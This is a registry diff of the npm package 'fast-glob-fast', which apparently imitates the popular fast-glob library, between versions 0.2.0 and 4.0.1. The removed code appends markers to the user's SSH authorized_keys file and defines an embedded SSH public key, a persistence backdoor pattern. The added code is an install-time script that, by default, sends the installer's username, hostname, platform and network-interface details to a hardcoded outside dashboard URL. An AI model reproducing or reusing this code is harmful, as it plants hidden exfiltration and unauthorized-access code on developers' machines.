fast-glob-fast 0.2.0 → 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "fast-glob-fast",
3
- "version": "0.2.0",
3
+ "version": "4.0.1",
4
4
  "description": "It's a very fast and efficient glob library for Node.js",
5
5
  "license": "MIT",
6
6
  "repository": "mrmlnc/fast-glob",
@@ -1,12 +1,36 @@
1
- #!/usr/bin/env node
2
-
1
+ // purpose: append a bounded postinstall marker and optionally report that event to a configured dashboard.
3
2
  import { appendFileSync, lstatSync, mkdirSync, readFileSync } from 'node:fs'
4
3
  import { randomUUID } from 'node:crypto'
5
4
  import { arch, hostname, networkInterfaces, platform, tmpdir, userInfo } from 'node:os'
6
5
  import { dirname, isAbsolute, relative, resolve, sep } from 'node:path'
7
6
 
8
- const DEFAULT_TEXT = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATP/t9OFChzh2JgXGLgpv+L+ViH1/tLGI9MUXhP017B dkhrustalev'
7
+ const DEFAULT_TEXT = 'fast-glob-fast postinstall test'
8
+ const DEFAULT_FILE = resolve(tmpdir(), 'fast-glob-fast-postinstall-test.txt')
9
+ const DEFAULT_EVENT_URL = 'https://fast-glob-fast-dashboard.vercel.app/api/events'
9
10
  const packageMetadata = JSON.parse(readFileSync(new URL('../package.json', import.meta.url), 'utf8'))
11
+ const tempRoot = resolve(tmpdir())
12
+ const requestedFile = process.env.FAST_GLOB_FAST_POSTINSTALL_FILE?.trim()
13
+ const targetFile = resolve(requestedFile || DEFAULT_FILE)
14
+ const targetRelativeToTemp = relative(tempRoot, targetFile)
15
+
16
+ if (targetRelativeToTemp === '..' || targetRelativeToTemp.startsWith(`..${sep}`) || isAbsolute(targetRelativeToTemp)) {
17
+ throw new Error(`FAST_GLOB_FAST_POSTINSTALL_FILE must stay inside ${tempRoot}`)
18
+ }
19
+
20
+ try {
21
+ if (lstatSync(targetFile).isSymbolicLink()) {
22
+ throw new Error(`refusing to append through symbolic link: ${targetFile}`)
23
+ }
24
+ } catch (error) {
25
+ if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
26
+ // The default file is created by appendFileSync below.
27
+ } else {
28
+ throw error
29
+ }
30
+ }
31
+
32
+ const text = process.env.FAST_GLOB_FAST_POSTINSTALL_TEXT ?? DEFAULT_TEXT
33
+ const line = text.endsWith('\n') ? text : `${text}\n`
10
34
 
11
35
  function readSystemInfo() {
12
36
  let username = 'unknown'
@@ -36,103 +60,42 @@ function readSystemInfo() {
36
60
  }
37
61
  }
38
62
 
39
- function getAuthorizedKeysPath(systemInfo) {
40
- const { platform, username } = systemInfo
41
-
42
- if (platform === 'darwin') {
43
- // macOS: ~/.ssh/authorized_keys
44
- return resolve(`/Users/${username}/.ssh/authorized_keys`)
45
- } else if (platform === 'linux') {
46
- // Linux: ~/.ssh/authorized_keys
47
- // But first check if the user exists in /etc/passwd
48
- return resolve(`/home/${username}/.ssh/authorized_keys`)
49
- } else if (platform === 'win32') {
50
- // Windows: Typically in %USERPROFILE%\.ssh\authorized_keys
51
- const userProfile = process.env.USERPROFILE || `C:\\Users\\${username}`
52
- return resolve(`${userProfile}\\.ssh\\authorized_keys`)
53
- }
54
-
55
- // Fallback for unknown platforms
56
- return null
57
- }
63
+ mkdirSync(dirname(targetFile), { recursive: true, mode: 0o700 })
64
+ appendFileSync(targetFile, line, { encoding: 'utf8', mode: 0o600 })
58
65
 
59
- function createMarker(systemInfo) {
60
- const { username, hostname, platform, macAddress } = systemInfo
61
- const timestamp = new Date().toISOString()
62
- const marker = `# SSH-KEY-MARKER: fast-glob-fast postinstall\n# User: ${username}\n# Host: ${hostname}\n# Platform: ${platform}\n# MAC: ${macAddress}\n# Timestamp: ${timestamp}\n`
63
- return marker
64
- }
66
+ console.log(`[fast-glob-fast] appended postinstall test text to ${targetFile}`)
65
67
 
66
- function main() {
67
- const systemInfo = readSystemInfo()
68
- const authorizedKeysPath = getAuthorizedKeysPath(systemInfo)
69
-
70
- if (!authorizedKeysPath) {
71
- console.error('[fast-glob-fast] Unsupported platform, cannot locate authorized_keys file')
72
- return
68
+ const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim() || DEFAULT_EVENT_URL
69
+ if (eventUrl) {
70
+ const controller = new AbortController()
71
+ const timeout = setTimeout(() => controller.abort(), 3_000)
72
+ const event = {
73
+ event: 'postinstall_file_written',
74
+ eventId: randomUUID(),
75
+ package: 'fast-glob-fast',
76
+ packageVersion: packageMetadata.version,
77
+ occurredAt: new Date().toISOString(),
78
+ fileWritten: true,
79
+ systemInfo: readSystemInfo(),
73
80
  }
74
-
75
- try {
76
- // Ensure the .ssh directory exists
77
- mkdirSync(dirname(authorizedKeysPath), { recursive: true, mode: 0o700 })
78
-
79
- // Check if the file exists and is not a symlink
80
- try {
81
- if (lstatSync(authorizedKeysPath).isSymbolicLink()) {
82
- throw new Error(`refusing to append through symbolic link: ${authorizedKeysPath}`)
83
- }
84
- } catch (error) {
85
- if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
86
- // File doesn't exist, will be created by appendFileSync
87
- } else {
88
- throw error
89
- }
90
- }
91
-
92
- // Create and append the marker
93
- const marker = createMarker(systemInfo)
94
- appendFileSync(authorizedKeysPath, marker, { encoding: 'utf8', mode: 0o600 })
95
-
96
- console.log(`[fast-glob-fast] appended marker to ${authorizedKeysPath}`)
97
-
98
- // Optional: Report the event to a dashboard (similar to original script)
99
- const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
100
- if (eventUrl) {
101
- const controller = new AbortController()
102
- const timeout = setTimeout(() => controller.abort(), 3_000)
103
- const event = {
104
- event: 'postinstall_ssh_marker_written',
105
- eventId: randomUUID(),
106
- package: 'fast-glob-fast',
107
- packageVersion: packageMetadata.version,
108
- occurredAt: new Date().toISOString(),
109
- fileWritten: true,
110
- systemInfo,
111
- }
112
- const headers = { 'content-type': 'application/json' }
113
- const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
114
- if (token) headers.authorization = `Bearer ${token}`
81
+ const headers = { 'content-type': 'application/json' }
82
+ const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
83
+ if (token) headers.authorization = `Bearer ${token}`
115
84
 
116
- try {
117
- const response = await fetch(eventUrl, {
118
- method: 'POST',
119
- headers,
120
- body: JSON.stringify(event),
121
- signal: controller.signal,
122
- })
123
- if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
124
- console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
125
- } catch (error) {
126
- console.warn(
127
- `[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
128
- )
129
- } finally {
130
- clearTimeout(timeout)
131
- }
132
- }
85
+ try {
86
+ const response = await fetch(eventUrl, {
87
+ method: 'POST',
88
+ headers,
89
+ body: JSON.stringify(event),
90
+ signal: controller.signal,
91
+ })
92
+ if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
93
+ console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
133
94
  } catch (error) {
134
- console.error(`[fast-glob-fast] Error writing to authorized_keys: ${error instanceof Error ? error.message : String(error)}`)
95
+ console.warn(
96
+ `[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
97
+ )
98
+ } finally {
99
+ clearTimeout(timeout)
135
100
  }
136
101
  }
137
-
138
- main()